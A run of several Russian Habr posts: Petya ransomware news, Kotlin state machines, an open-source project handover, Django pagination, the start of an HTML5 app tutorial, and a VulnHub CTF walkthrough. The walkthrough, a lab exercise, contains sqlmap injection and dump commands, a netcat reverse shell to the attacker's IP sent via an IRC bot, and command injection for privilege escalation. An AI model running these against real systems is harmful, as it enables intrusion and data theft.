И в заключение приглашаю всех желающих на [бесплатный урок](https://otus.pw/6Nfs/) по теме: "Сферический Flutter в вакууме. Создаем свою систему координат для RenderObject".
* [Зарегистрироваться на бесплатный урок](https://otus.pw/6Nfs/) | https://habr.com/ru/post/692530/ | null | ru | null |
# Слать биткоины бесполезно: автору Petya заблокировали почтовый ящик
Немецкий почтовый провайдер Posteo [закрыл](https://posteo.de/blog/info-zur-ransomware-petrwrappetya-betroffenes-postfach-bereits-seit-mittag-gesperrt) почтовый ящик `wowsmith123456@posteo.net` хакера, ответственного за вирусную эпидемию криптовымогателя Petya/PetrWrap. Со вчерашнего дня вирус поразил тысячи компьютеров на предприятиях и у частных пользователей в Украине, России, Польше, Италии, Германии, Беларуси (страны указаны в порядке уменьшения [количества заражений](https://securelist.com/schroedingers-petya/78870/)) и других странах. Таким образом, жертва даже отправив запрошенную сумму в биткоинах, не сможет сообщить об этом хакеру — и не сможет получить от него ключ.
«Мы не терпим злоупотреблений нашей платформой: немедленная блокировка почтовых аккунтов со злоупотреблениями — необходимая мера со стороны провайдеров в таких случаях», — сказано в сообщении Posteo.
Согласно инструкции криптовымогателя, жертва должна отправить биткоины стоимостью около $300 на указанный адрес [1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX](https://blockchain.info/address/1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX) и сообщить автору по электронной почте свой идентификатор кошелька и «персональный ключ установки». Теперь связаться с ним невозможно.
В сообщении криптовымогателя также говорится, что нет никакой иной возможности восстановить зашифрованные файлы, кроме покупки ключа: «Не тратьте своё время. Никто не может восстановить ваши файлы без нашего дешифровального сервиса». Специалисты «Лаборатории Касперского» [согласны с такой оценкой](https://securelist.com/schroedingers-petya/78870/): расшифровать шифр AES-128 самостоятельно не получится, если только в схеме шифрования не допущена ошибка.
Судя по всему, для каждой жертвы генерируется уникальный ключ установки. Это позволяет автору выдать персональный ключ для дешифрования файлов. На данный момент выкуп заплатила 41 жертва на общую сумму 3,75188571 BTC ($9442).
Не все специалисты по безопасности одобряют такое решение немецкого почтового провайдера: «Идиоты… Блокировка почты не остановит заражения, но жертвы теперь гарантированно не получат назад свои файлы, даже если они хотели заплатить», — написано в твиттере антивирусной группы MalwareHunterTeam.
Хотя агрессивные действия немецкого почтового провайдера не облегчат жизнь несчастных жертвам заражения, но это кажется необходимым подходом для предотвращения подобных преступлений в будущем. Преступники должны знать, что их почтовые адреса будут заблокированы и денег они всё равно не получат.
Чтобы предотвратить заражение своего компьютера криптовымогателем Petya, следует установить патч, закрывающий уязвимость [MS17-010](https://technet.microsoft.com/en-us/library/security/ms17-010.aspx) в Windows, а также создать файл `C: \ Windows \ perfc` с атрибутом «только для чтения» ([ссылки на патч](https://habrahabr.ru/post/331762/)). | https://habr.com/ru/post/357374/ | null | ru | null |
# Конечные автоматы на страже порядка
При разработке сложных систем часто сталкиваешься с проблемой прозрачности кода, точным описанием бизнес-логики и масштабирования решения. Однажды нам поставили задачу: реализовать функциональность тарифов, в которой много бизнес-логики. При этом сроки были сжаты, да ещё и повышенные финансовые риски. Чтобы решить эту задачу быстро, эффективно и прозрачно, мы решили использовать конечные автоматы (state machine).
Суть задачи
-----------
Тариф в «Юле» — это набор платных опций по размещению и продвижению объявлений. Они дают пользователям дополнительные преимущества, вроде расширенного личного кабинета в веб-версии сервиса, использования раздела портфолио и прочего.
Также у нас есть понятие пакета — платный набор из определённого количества размещений объявлений. Удельно получается дешевле, чем когда оплачиваешь размещения разово.
Бизнес попросил добавить в мобильное приложение возможность всячески редактировать услугу тарифов. Продакт-менеджеры придумали очень крутую и гибкую схему логики, под которую пришлось бы сделать очень много экранов и переходов. Вот лишь четверть всей схемы, это только редактирование, а есть ещё создание, оплата, планирование и так далее.
Естественно, мы заподозрили, что решение получится очень громоздким. Например, с тарифами задача подразумевала 7 полноценных экранов, массу различных диалогов и уведомлений. От сервера необходимо было сразу получать определенные данные. К этому добавилась и обработка различных состояний доступности редактирования выбранных значений; предвыбранные значения, которые нам приходят с сервера; возможность выбирать значения только на увеличение (речь о возможности запланировать тариф с большими значениями относительно текущих настроек тарифа). И многое другое. С пакетами была похожая картина, но меньше масштабом.
К тому же было еще два небольших условия от бизнеса:
* Дедлайны близко.
* Решение точно будет расширяться. Когда мы приступали к разработке, еще не было В2В-сегмента. Но мы знали, что он появится, и расширяться будет очень интенсивно.
Естественно, переписывать времени не будет, потому что решение должно быть лёгким в сопровождении.
Выбор решения
-------------
**Первый вариант** самый очевидный: флаги. Их можно описать очень много. Например, вот небольшое условие, которое отображает шапку тарифа:
```
if (hasTariff) {
if (hasErrorTariff) {
// Ошибка оплаты тарифа
} else if (isProcessedTariff) {
// тариф ожидает оплаты
} else {
//тариф активен
}
} else {
//нет тарифа
}
```
Увы, такой вариант тяжело расширять. Когда добавится новое условие, придётся ветвить схему еще сильнее.
**Второй вариант**: добавление переменных с состояниями. На их основе можно решать, что отрисовывать. Но такому способу не хватает гибкости.
```
enum class State {PROCESS, ERROR, ACTIVE}
when (state) {
PROCESS -> // тариф ожидает оплаты
ERROR -> // Ошибка оплаты тарифа
ACTIVE -> //тариф активен
}
```
**Третий вариант**: найти что-то более описываемое, понятное и масштабируемое. Конечно же, это конечные автоматы (машины состояний).
Конечный автомат — это модель дискретного устройства, которое имеет в себе определенный набор правил, обычно один вход и один выход. И в каждый момент времени автомат находится в одном состоянии из множества описанных. У автомата есть API, по которому можно переключить состояние, и если это некорректное переключение, то мы узнаем об ошибке. Следуя этой концепции очень легко структурировать код и сделать его читаемым. Такой код проще отлаживать и контролировать на всех этапах. Простенький конечный автомат может выглядеть так, и его очень легко расширять:
Конечные автоматы
-----------------
Конечные автоматы прекрасно помогают в реализации бизнес-логики. Ведь мы точно описываем поведение системы при любом событии. Поэтому мы решили использовать этот подход. Описали нашу схему:
В ней можно иногда запутаться, однако всё, что было необходимо на момент реализации, здесь есть. Но нарисовав эту схему, мы поняли, что всё-таки надо понять, что и как мы будем реализовывать.
Есть несколько вариантов. Первый: пишем всё сами. Второй: берём одну из своих старых узкоспециализированных реализаций и дорабатываем. И третий вариант: используем готовое решение.
У самописного решения есть очевидные достоинства и недостатки. К первым относится лёгкость изменения и язык Kotlin. Правда, на разработку требуется немало времени. К тому же могут быть баги, которые придётся исправлять.
Начали смотреть на сторонние решения. Сначала выбрали библиотеку Polidea. Но у неё оказалось довольно много недостатков на наш взгляд: она написана на Java, имеет проблемы с поддержкой и трудно дорабатывается.
Тогда мы обратили внимание на библиотеку Tinder. Достоинств у неё оказалось больше, чем недостатков, что и сыграло позднее в её пользу. Она написана на Kotlin, у неё удобная DSL, библиотеку регулярно обновляют. А её главный недостаток — трудно дорабатывается. Но всё же мы остановились на Tinder.
Библиотека Tinder
-----------------
Код библиотеки:
```
val stateMachine = StateMachine.create {
initialState(State.Solid)
state {
on {
transitionTo(State.Liquid, SideEffect.LogMelted)
}
}
state {
on {
transitionTo(State.Solid, SideEffect.LogFrozen)
}
on {
transitionTo(State.Gas, SideEffect.LogVaporized)
}
}
state {
on {
transitionTo(State.Liquid, SideEffect.LogCondensed)
}
}
onTransition {
val validTransition = it as? StateMachine.Transition.Valid ?: return@onTransition
when (validTransition.sideEffect) {
SideEffect.LogMelted -> logger.log(ON\_MELTED\_MESSAGE)
SideEffect.LogFrozen -> logger.log(ON\_FROZEN\_MESSAGE)
SideEffect.LogVaporized -> logger.log(ON\_VAPORIZED\_MESSAGE)
SideEffect.LogCondensed -> logger.log(ON\_CONDENSED\_MESSAGE)
}
}
}
```
Здесь есть состояния, в которых можно хранить какие-то данные, если, например, надо переходить с какими-то условиями. Также есть различные события, на которые мы можем реагировать: в данном случае `OnFroze`. `SideEffect` мы не использовали, не понадобилось.
Состояния переключаются просто: передаём в `Transition` объекта `stateMachine` событие, которое хотим отправить. В `stateMachine` есть описание всех возможных состояний. А внутри них мы можем описать те события, которые могут произойти.
Также в библиотеке есть важная конструкция `OnTransition`. В ней можно определить, из какого состояния в какое мы перешли, и определить корректность перехода. Мы использовали эту конструкцию, и при некорректных событиях просто выбрасывали пользователя в начало, чтобы он заново прошел по всему пути.
Реализация
----------
Чтобы реализовать нашу бизнес-логику, кроме состояний нужно было описать и данные. Мы решили использовать один объект, который станет постепенно заполняться, пока пользователь идет по конечному автомату. В объекте есть набор параметров, либо влияющих на часть нашей функциональности, либо отражающих предустановку каких-то данных, либо содержащих какие-то вспомогательные данные.
По мере реализации схема разрослась: получилось около 30 состояний и 100 переходов. И поскольку всё содержалось в одном файле, ориентироваться стало довольно сложно. А искать баги — ещё тяжелее, потому что когда из одного состояния перешел в другое, то появились какие-то данные и не можешь понять, в чём проблема.
На помощь пришла декомпозиция. Раз мы смогли сделать один конечный автомат, то сможем сделать ещё. Так мы из одного автомата сделали шесть.
С одной стороны, кажется, что мы увеличили себе работу. С другой стороны, мы стали лучше ориентироваться в коде. Стали понимать бизнес-схему и логику нашего приложения. Всё стало проще.
```
class TariffFlowStateMachine constructor(
val selectedStateMachine: TariffSelectedStateMachine,
val presetStateMachine: TariffPresetStateMachine,
val packageStateMachine: TariffPackageStateMachine,
val tariffStateMachine: TariffStateMachine,
val paymentStateMachine: TariffPaymentStateMachine
) {
private val initialState = State.Init
val state: State
get() = when (stateMachine.state) {
is State.RootsState.RootSelectedState -> selectedStateMachine.state
is State.RootsState.RootPresetState -> presetStateMachine.state
is State.RootsState.RootPackageState -> packageStateMachine.state
is State.RootsState.RootTariffState -> tariffStateMachine.state
is State.RootsState.RootPaymentState -> paymentStateMachine.state
else -> State.Init
}
```
У нас есть базовый автомат, который управляет несколькими маленькими. Каждый из них отвечает за свой фрагмент функциональности. И когда продакт-менеджеры просят добавить что-то ещё, нам не приходится менять все переходы большого автомата. Достаточно поменять один маленький.
Например, так выглядит автомат выбора данных:
Автомат сборки пакета:
Автомат сборки тарифа:
А это автомат оплаты:
Приятный бонус
--------------
Кроме лёгкости расширения «модульные» конечные автоматы сильно упростили нам тестирование. Чтобы начать покрывать их тестами, можно написать небольшие обёртки, позволяющие указать начальное состояние, переход и ожидаемое состояние. Пример теста:
```
stateMachine = flowStateMachine.stateMachine
stateFlowable = flowStateMachine.stateMachine.state
//region utility
private fun assertTransition(initial: State, event: Event, expected: State) {
//given
val stateMachine = givenStateIs(initial)
val stateSubscriber = stateFlowable.test()
//when
stateMachine.transition(event)
//assert
stateSubscriber.assertLast(expected)
}
private fun givenStateIs(state: State): StateMachine {
return stateMachine.with { initialState(state) }
}
private fun TestSubscriber.assertLast(expected: State) {
this.assertValueAt(this.valueCount() - 1, expected)
}
@Test
fun `given state PaidPromotion on Error should result in PaymentMethods`() {
assertTransition(
initial = State.PaidPromotion(paymentMethod = PaymentMethod.CARD),
event = Event.Error(),
expected = State.PaymentMethods(navigateBack = true, reload = false)
)
}
```
Было очень приятно осознать, что авторы библиотеки позаботились и о простоте тестирования.
В заключение
------------
Если вы уже сталкивались с конечными автоматами и не понимали, зачем их использовать, то надеюсь, что мой рассказ помог вам разобраться в этом. Иногда они действительно нужны, и с ними очень приятно работать.
Да, конечные автоматы не всегда оправданы. Поэтому к их использованию надо подходить, взвесив все «за» и «против». | https://habr.com/ru/post/529036/ | null | ru | null |
# Отдам в хорошие руки…
… LGPL проект:
* [html2ps/pdf](http://www.tufat.com/html2ps.php)
* он же [на sf.net](http://sourceforge.net/projects/html2ps/),
* он же [на freshmeat.net](http://freshmeat.net/projects/html2ps_php/),
* он же [на code.google.com](http://code.google.com/p/html2pdf/).
Разработчики
============
Главным и единственным разрабочиком является ваш покорный слуга.
Спонсор проекта — Darren Gates, владелец tufat.com.
Почему отдаю?
=============
Нехватка времени для собственных проектов. Увы, в последний год я выкраивал от силы 1-2 часа в неделю для работы над html2ps/pdf, что сводилось в основном к ответам на [форуме](http://forum.tufat.com/forumdisplay.php?f=58), правке багов по мере их обнаружения и (редко-редко) добавлению новых небольших фич.
Естественно, проект жалко — хотя бы потому, что кое-какие из его фич уникальны среди LGPL-инструментов. Хотелось бы найти продолжателя.
Что значит «отдаю»?
===================
* админские права в проектах;
* консультации по поводу того, почему внутри сделано именно так, а не иначе;
* при необходимости — посредничество с Дарреном.
Краткая история
===============
Проект появился на свет осенью 2004 года как клон широко известного html2ps, написанного на Perl. Точнее, клоном он был примерно 5 минут до того момента как я заглянул в код html2ps…
`$pta=defined $p{"text-align"}?$p{"text-align"}:$body{"text-align"};
$pal=0;
$pal=1 if($pta=~/^c/i);
$pal=2 if($pta=~/^r/i);
$pal=3 if($pta=~/^j/i);
$bgcol=&col2rgb($body{"background"});
if(!$bgcol) {$bgcol="[16#FF 16#FF 16#FF]"};
if(!$p{"color"}) {$p{"color"}="black"};
$tcol=&col2rgb($p{"color"});
$lcol=&col2rgb($a__link{"color"});
if($lcol) {
$Lc="/Lc t D\n/Dl $lcol D\n";
$Lc.=$tcol ne $lcol?"/LX t D":"/LX f D";
} else {
$Lc="/Lc f D\n/LX f D";
}
$pcol=&col2rgb($pre{"color"});
if(!$pcol) {$pcol="[0 0 0]"};
$deftbg=&col2rgb($table{"background"});`
… и решил, что сэкономлю время, написав свой собственный велосипед с нуля.
К началу нового 2005 года на свет появился код, способный сжевать простой HTML без таблиц, распарсить простой CSS и сгенерировать соответствующий Postscript. (Возможно, для некоторых будет шоком узнать тот факт, что 90% вычислений, связанных с размещением текста на странице, происходило внутри Postscript-файла).
В январе 2005 было решено сменить лицензию на LGPL (вместо изначально предполагавшейся модели «всё за $5»).
В течение года скрит развивался, полнел, пополнялся фичами и терял баги. К концу года стало ясно что: выбранный подход «запишем всё в Postscript, а принтер сам разберётся» далёк от идеального — объем вычислений рос вместе со сложностью обрабатываемых страниц и даже преобразование с помощью ps2pdf на «большом» компьютере начало занимать несколько секунд. Было решено прекратить насиловать принтеры вычислениями, и, наконец, убрать алгоритмы размещения элементов из postscript. Это изменение было отмечено выпуском html2ps/pdf 1.0
В новом виде скрипт просуществовал почти до конца 2006 года, когда стало окончательно ясно, что так жить дальше нельзя — пользователи просили новых фич в объемах, неожиданных для такого небольшого community, удобного API для встраивания html2ps/pdf в сторонние проекты не было, да и перенесённые с Postscript алгоритмы легли на PHP довольно-таки «странным» образом, совершенно не упрощая внесение изменений.Пришло время второго (и последнего) переписывания ядра и появления версии 2.0.
Первые две трети 2007 года стала, пожалуй, лучшим временем проекта: появление нормального API, оптимизации (нет, скрипт не стал работать действительно быстро; тем не менее, его страстная любовьк ресурсам несколько поуменьшилась) и множество новых возможностей.
С лета 2007 у меня всё больше и больше времени начинает занимать личная жизнь и другой проект. В результате html2ps/pdf получал жалких 1-2 часа в неделю, которые тратились в основном на поддержку скрипта на форуме. В мае 2008 я решил, что продолжать в таком же духе дальше не имеет смысла, поговорил с Дарреном и прекратил попытки найти время для дальнейшей разработки.
Плюсы и минусы
==============
На текущий момент это единственный известный мне LGPL-инструмент, поддерживающий float'ы, position: absolute и position: fixed. Кроме этого, присутствует поддержка таких приятных мелочей(не говоря уже о «базовых» HTML / CSS), как:
* Внутреннние и внешние ссылки;
* Сноски;
* Интерактивные формы;
* Генерация оглавления;
* Вставка «водяного знака»;
* Поддержка сложных таблицы c rowspan / colspan;
* Достаточно неплохой алгоритм разбиения на страницы (знающий о существовании CSS-свойств page-break-\*, orphans и widows)
* Unicode (успешно применялся для документов, содержавших корейский вперемешку с французским);
Есть неплохо задокументированный API с примерами.
Скрипт старается (с моей точки зрения — достаточно успешно) править в исходном коде страниц такие мелочи, как незакрытые тэги, отсутствующие кавычки вокруг атрибутов, символы <, > и & в неположенных местах и так далее.
Теперь с плохом и страшном. Во-первых, солидная часть кода была написана мной четыре года назад (соответственно, опыта проектирования и программирования было на четыре года меньше); во-вторых, код пережил одну смену стиля кодирования и два переписывания ядра.Естественным результатом этого является то, что кое-где можно встретить код, за который мне стыдно, а кое-где — за который мне **очень** стыдно. (А еще мне стыдно за жалкое 5% покрытие тестами).
Другая проблема — объем кода (~1.5 мегабайт в ~350 файлах) и достаточно сложная предметная область (вы сами не представляете, насколько большое пространство для толкований на самом деле оставляют стандарты).
Если вы заинтересовались и плохое и страшное вас не напугало — пишите. Буду рад ответить. | https://habr.com/ru/post/38090/ | null | ru | null |
# VulnHub: Разбор DC416 Dick Dastardly
Команда VulnHub подготовила целую серию квестов, с конференции [DefCon Toronto's](https://dc416.com/), скачать и опробовать которые вы можете по [ссылке](https://www.vulnhub.com/entry/dc416-2016,168/).
А в этой статье будет разбор [DC416 Dick Dastardly](https://download.vulnhub.com/dc416-2016/dc416-dick_dastardly.ova.torrent)
### Начнём
*Nmap*, кроме портов 22 и 80 больше ничего не выдал, поэтому переходим к поиску скрытых директорий:
```
$ sudo dirsearch -r -f -u 'http://192.168.1.68/' -e php,txt,bak,json,html -w /usr/share/dirb/wordlists/big.txt -x 403
```
Видим тут интересный редирект на *index.php*. Посмотрим что там:
Запускаем *sqlmap*:
```
$ sudo sqlmap -u 'http://192.168.1.68/index.php' --data='name=asd&msg=asd' --random-agent --level=5 --risk=3 --batch
```
> POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
>
> sqlmap identified the following injection point(s) with a total of 6638 HTTP(s) requests:
>
> — Parameter: name (POST)
>
> Type: AND/OR time-based blind
>
> Title: MySQL >= 5.0.12 AND time-based blind
>
> Payload: name=asd'||(SELECT 'Uknw' FROM DUAL WHERE 1538=1538 AND SLEEP(5))||'&msg=asd
>
> — [00:52:02] [INFO] the back-end DBMS is MySQL
>
> web server operating system: Linux Ubuntu
>
> web application technology: Apache 2.4.7, PHP 5.5.9
>
> back-end DBMS: MySQL >= 5.0.12
Инъекция есть, но раскрутить *sqlmap* её не смог. Переходим ко второй форме:
```
$ sudo sqlmap -u 'http://192.168.1.68/report.php' --data='issue=123' --random-agent --level=5 --risk=3 -p issue --tables
```
Видим сообщение, и корректируем параметры *sqlmap*'а:
> [13:17:56] [INFO] POST parameter 'issue' appears to be 'MySQL RLIKE boolean-based blind — WHERE, HAVING, ORDER BY or GROUP BY clause' injectable (with --string=«an»)
После повторного запуска, *sqlmap* раскрутил инъекцию. И отобразил список таблиц.
Дампим таблицу *admins*
```
$ sudo sqlmap -u 'http://192.168.1.68/report.php' --data='issue=123' --random-agent --level=5 --risk=3 -p issue --string="an" --dbms=MySQL -D vulnhub --batch -T admins --dump
```
Нашли пароль в открытом виде и логин. Авторизуемся:
Попадаем в web админку IRC бота. Тут можно изменить владельца бота. Впишу туда логин и пароль, которые удалось вытянуть из БД. Далее естественно нажимаем добавить свой IP в белый лист, и активировать бота.
Повторно запустим *nmap*:
Коннектимся на запущенный IRC сервер, видим приветствие:
Посмотрим список каналов:
`/list`
Нахоим там канал *#vulnhub* и подключаемся к нему:
`/join #vulnhub`
Я использовал XChat, справа в списке пользователей на канале, можно увидеть бота, которого мы запустили: *vulnhub-bot*. Начнём с ним диалог:
Флаг найден, но это второй флаг… Где-то пропустили первый. Запускаем *nikto* и находим первый флаг:
```
$ sudo nikto -host http://192.168.1.68 -C all
+ Uncommon header 'flag' found, with contents: flag1{l0l_h0w_345y_15_7h15_c7f}
```
Имея шелл через IRC открываем себе полноценную консоль:
```
$ netcat -lvp 9999
```
Боту отправляем команду:
`Unix shell netcat -e /bin/sh 192.168.1.124 9999`
Посмотрев список процессов, я нашёл один из них, запущенный от root, крайне необычным:
> ping -c 1 -b 192.168.1.255 -p 725f796f755f6265636f6d655f746865 2
Хм это интересно, запустив WireShark в ICMP пакетах находим flag0:
*flag0{the\_quieter\_you\_become\_the\_more\_you\_are\_able\_to\_hear}*
Остался последний. Посмотрим какие привилегии доступны текущему пользователю:
```
sudo -l
```
> Matching Defaults entries for rasta on DickDastardly:
>
> env\_reset, mail\_badpass,
>
> secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
>
>
>
> User rasta may run the following commands on DickDastardly:
>
> (vulnhub) NOPASSWD: /usr/bin/python /usr/local/sbin/util.py
Видимо, это не просто так:
```
sudo -u vulnhub python /usr/local/sbin/util.py
```
После запуска получаем такой интерактивный вывод:
Не так много функций доступно, осмотревшись, я нашёл последний флаг:
Точнее место где он лежит. Я попробовал вставить свою команду, и при выборе листинга директорий, это получилось:
Отлично, все флаги собраны, пусть и не в правильном порядке! | https://habr.com/ru/post/318372/ | null | ru | null |
# Делим на страницы
Практически в любом сайте есть нужда разбить вывод информации на страницы. В джанге уже есть некоторые вещи которые помогут в написании своего пагинатора, но вот что бы взять и в две строчки сделать пагинацию для любой вьюшки — такого пока не встречал.
Я решил написать такой, благо идея как его сделать у меня зародилась уже давно. Итак встречаем, [django-simplepagination](http://bitbucket.org/offline/django-simplepagination/wiki/Home).
Пагинатор по сути является декоратором, который вы ставите над вашей вьюшкой с одним условием. Условие очень простое, вьюшка должна возвращать словарь, а не HttpResponse. Если вы используйте самописный декоратор render\_to или пользуетесь таковым из [django-annoying](http://bitbucket.org/offline/django-annoying/wiki/Home) то все условия для разбития на страницы соблюдены. Дальше всё очень просто, инсталируете django-simplepagination, добавляете 'simplepagination' в INSTALLED\_APPS и ставите декоратор над вьюшкой. Для примера:
> `**from** **simplepagination** **import** paginate
>
> **from** **annoying.decorators** **import** render_to
>
> **from** **blog.models** **import** Post
>
>
>
> @render\_to('blog\_posts.html')
>
> @paginate(style='digg', per_page=15)
>
> **def** list\_posts(request):
>
> posts = Post.objects.all()
>
> **return** {'object\_list': posts}`
Далее в темплейте 'blog\_posts.html' вы вставляете {% include paginator.template %}, так же не забудьте в базовом шаблоне подключить paginator.css файл.
На этом создание копии digg пагинации заканчивается.
Естественный вопрос, как происходит что из трёх строчек кода, очень сложный по логике и виду дигг'овский пагинатор работает? Объясню, логика пагинаторов описывается в так называемых backend'ах. Бэкенд digg'а уже встроен в приложение, он так же является примером для тех кто хочет написать свой бэкенд. Кроме логики нужен конечно же и html, он тоже встроен в приложение, как и css со стилями для digg пагинатора.
Конечно вряд ли ваш сайт использует именно digg версию пагинатора, поэтому я покажу вам как написать свой бэкенд, для примера возьмём пагинацию хабрахабра.
Итак первым делом вам нужно создать класс наследующийся от simplepagination.backends.Paginator. Сама логика лежит внутри функции paginate которая обязана быть в вашем классе.
> `**from** **simplepagination.backends** **import** Paginator
>
>
>
> **class** **HabrahabrPaginator**(Paginator):
>
> **def** paginate(self, frame_size, number_of_pages, current_page):
>
> output = {}
>
> **if** current_page > 1:
>
> output['prev'] = current_page - 1
>
> **if** current_page < number_of_pages:
>
> output['next'] = current_page + 1
>
> **if** current_page + frame_size - 1 < number_of_pages:
>
> output['last'] = number_of_pages
>
> **if** current_page - frame_size + 1 > 1:
>
> output['first'] = 1
>
> **if** number_of_pages <= frame_size:
>
> output['pages'] = range(1, number_of_pages + 1)
>
> **else**:
>
> output['pages'] = range(max(current_page - frame_size + 1, 1), min(current_page + frame_size, number_of_pages + 1))
>
> **return** output`
После того как бэкенд срабатывает, в словарь который возвращает вьюшка добавляется этот output под именем 'paginator' и соответственно попадает в ваш темплейт.
Теперь дело за малым, выдрать [хтмл](http://dumpz.org/14808/) и [css](http://dumpz.org/14809/) из хабра (я сделал это за вас, заодно префикснул имена классов что бы они не совпали с теми которые могут уже быть на вашем сайте), сохранить хтмл под именем paginator\_habrahabr.html и подключить сохранёный цсс.
Последняя вещь которую нужно сделать, это добавить ваш бэкенд в словарь бэкендов. Откройте settings.py вашего сайта и добавьте следующую строчку (измените путь до вашего класса на нужный).
PAGINATION\_BACKENDS = {'habrahabr': 'path.to.HabrahabrPaginator'}
На этом возможности приложения не заканчиваются, можно использовать несколько стилей пагинации на одном сайте, у всех вещей есть дефолтные настройки, которые можно изменить как общими настройками определённого бэкенда так и параметрами передаваемыми в декоратор. Советую глянуть на файл [settings.py](http://bitbucket.org/offline/django-simplepagination/src/tip/simplepagination/settings.py) и почитать описания настроек. | https://habr.com/ru/post/76961/ | null | ru | null |
# Мобильное приложение HTML5: ошибка или успех. Попытка №0
За несколько лет, читая новости и события в мире Web разработки, у меня нарисовалась розовая мечта: написал один раз — работает везде и всегда. При этом очень часто встречаю негативные отзывы о разработке мобильных приложений на HTML5 ( [тут](http://habrahabr.ru/post/151337/) и комментарии на статьи [1](http://habrahabr.ru/company/devexpress/blog/182134/) и [2](http://habrahabr.ru/post/183458/) ). Основные доводы бастующих: несоответствие родному интерфейсу, глючность и тормознутость, проблемы с хранением данных и тд и тп. Ни в коем случае не хочу запустить очередные холи вары на эту тему. Но мечта живет и ее можно подтвердить или отвергнуть только после собственного наступления на грабли.
Итак, цель – написать на HTML5 мобильное приложения для сбора заказов торговым агентом в торговых точках. Я сталкивался с данными решениями разных компаний, поэтому знаком с предметной областью, и эта тема идеально подходит для мечты.
К основным требованиям я добавлю несколько заметок из собственного опыта:
* Программа должна работать на многих устройствах и на разных платформах. Обычно у компаний, особенно больших, уже есть парк мобильный устройств. Некоторые компании-дистрибьюторы даже заставляют использовать собственные телефоны (так сказать добровольно принудительный [BYOD](http://en.wikipedia.org/wiki/Bring_your_own_device)).
* Поддержка офлайн работы. К сожалению интернет покрытие оставляет желать лучшего. Нативные решения хорошо справляются с данной проблемой.
* Программа должна легко расширяться. Почему-то у поставщиков таких решений возникает проблема нормального обновления версий
* Использование железа ( камера, GPS).
*Маленькая заметка:* Статья написана с целью закрепления пройденного материала по изучению новой технологии. В связи с полным отсутствием реального опыта создания приложений такого рода, заранее прошу прощения за возможные огрехи.
##### Предварительная архитектура:
**Backend** — .net MVC with OData. Глобально не важно, что я буду использовать в этой роли, главное, чтобы соответствовало новым стандартам WEB API. **Frontend** – тут все сложно для меня. При отсутствии опыта выбрать что-то очень сложно. После некоторого просматривания остановился на [PhoneJS](http://habrahabr.ru/company/devexpress/blog/182134/). Меня подкупило то, что это полноценный фреймворк для SPA приложения, так что не требуется связывать насколько библиотек в кучу, а также использование knockoutjs. Для работы с данными решил использовать breeze. Уверен, что список будет меняться в процессе разработки. Все это потом запаковать при помощи PhoneGap и получить подобие приложения.
В этой статье построим что-то простенькое для начала: просмотр данных торговой точки на определённом маршруте торгового агента.
##### Создание проекта.
Создаем новый проект **ASP.NET MVC 4 Web Application** и назовем «**MSales**». В диалоге **New ASP.NET MVC 4 Project** выбираем шаблон **Web API**.
Обновляем пакеты: `Update-Package knockoutjs и Update-Package jQuery`, и устанавливаем: `Install-Package Breeze.WebApi и Install-Package datajs`.
К сожалению, для PhoneJS нет пакета, поэтому ручками добавляем [все необходимые](http://go.devexpress.com/DevExpressDownload_PhoneJS.aspx) css и js в проект. На выбор есть нескольто типов layout, я использовал **NavbarLayout**, поменяв файл **\_Layout.cshtml**:
```
@ViewBag.Title
@Styles.Render("~/Content/css")
@Styles.Render("~/Content/dx")
@Styles.Render("~/Content/layouts")
@Scripts.Render("~/bundles/modernizr")
@Html.Partial("NavbarLayout")
@RenderBody()
@Scripts.Render("~/bundles/jquery")
@RenderSection("scripts", required: false)
```
В файле BundleConfig прописываем весь контент и скрипты. У меня получилось вот так:
**BundleConfig**
```
// Сокращено для упрощения
bundles.Add(new ScriptBundle("~/bundles/knockout").Include(
"~/Scripts/knockout-{version}.js"));
bundles.Add(new ScriptBundle("~/bundles/breeze").Include(
"~/Scripts/q.js",
"~/Scripts/datajs-{version}.js",
"~/Scripts/breeze.debug.js"
));
bundles.Add(new ScriptBundle("~/bundles/dx").Include(
"~/Scripts/dx.phonejs.js",
"~/Scripts/globalize"
));
bundles.Add(new ScriptBundle("~/bundles/app").Include(
"~/Scripts/App/app.init.js",
"~/Scripts/App/app.viewmodel.js",
"~/Scripts/App/NavbarLayout.js"
));
bundles.Add(new StyleBundle("~/Content/dx").Include("~/Content/dx/dx.*"));
bundles.Add(new StyleBundle("~/Content/layouts").Include("~/Content/layouts/NavbarLayout.css"));
```
##### Модель и контролеры
В модель на данный момент включим два файла: классы для маршрутов (по этим маршрутам ходит торговый агент) и торговых точек (магазинов):
**Модель**
```
public class Route
{
public int RouteID { get; set; }
[Required]
[StringLength(30)]
public string RouteName { get; set; }
}
public class Customer
{
public int CustomerID { get; set; }
[Required]
[StringLength(50)]
public string CustomerName { get; set; }
[StringLength(150)]
public string Address { get; set; }
public string Comment { get; set; }
[ForeignKey("Route")]
public int RouteID { get; set; }
virtual public Route Route { get; set; }
}
```
Контроллеры будут очень простые (более детально про OData можно почитать [тут](http://habrahabr.ru/post/180375/) ):
**Контроллеры**
```
public class RoutesController : EntitySetController
{
private MSalesContext db = new MSalesContext();
public override IQueryable Get()
{
return db.Routes; ;
}
protected override void Dispose(bool disposing)
{
db.Dispose();
base.Dispose(disposing);
}
}
public class CustomersController : EntitySetController
{
private MSalesContext db = new MSalesContext();
public override IQueryable Get()
{
return db.Customers; ;
}
protected override Customer GetEntityByKey(int key)
{
return db.Customers.FirstOrDefault(p => p.CustomerID == key);
}
protected override void Dispose(bool disposing)
{
db.Dispose();
base.Dispose(disposing);
}
}
```
**Маленький штрих в файле WebApiConfig:**
```
public static class WebApiConfig
{
public static void Register(HttpConfiguration config)
{
config.Routes.MapODataRoute("odata", "odata", GetEdmModel());
config.Routes.MapHttpRoute(
name: "DefaultApi",
routeTemplate: "api/{controller}/{id}",
defaults: new { id = RouteParameter.Optional }
);
config.EnableQuerySupport();
config.EnableSystemDiagnosticsTracing();
}
public static IEdmModel GetEdmModel()
{
ODataModelBuilder builder = new ODataConventionModelBuilder();
builder.EntitySet("Routes");
builder.EntitySet("Customers");
builder.Namespace = "MSales.Models";
return builder.GetEdmModel();
}
}
```
При регистрации маршрута для протокола OData необходимо указать строку `builder.Namespace = "MSales.Models";`, необходимую для работы библиотек breeze и datajs.
##### Frontend.
В папке **Scripts/app** создадим файл скрипта **app.init.js** для инициализации библиотек:
```
window.MyApp = {};
$(function () {
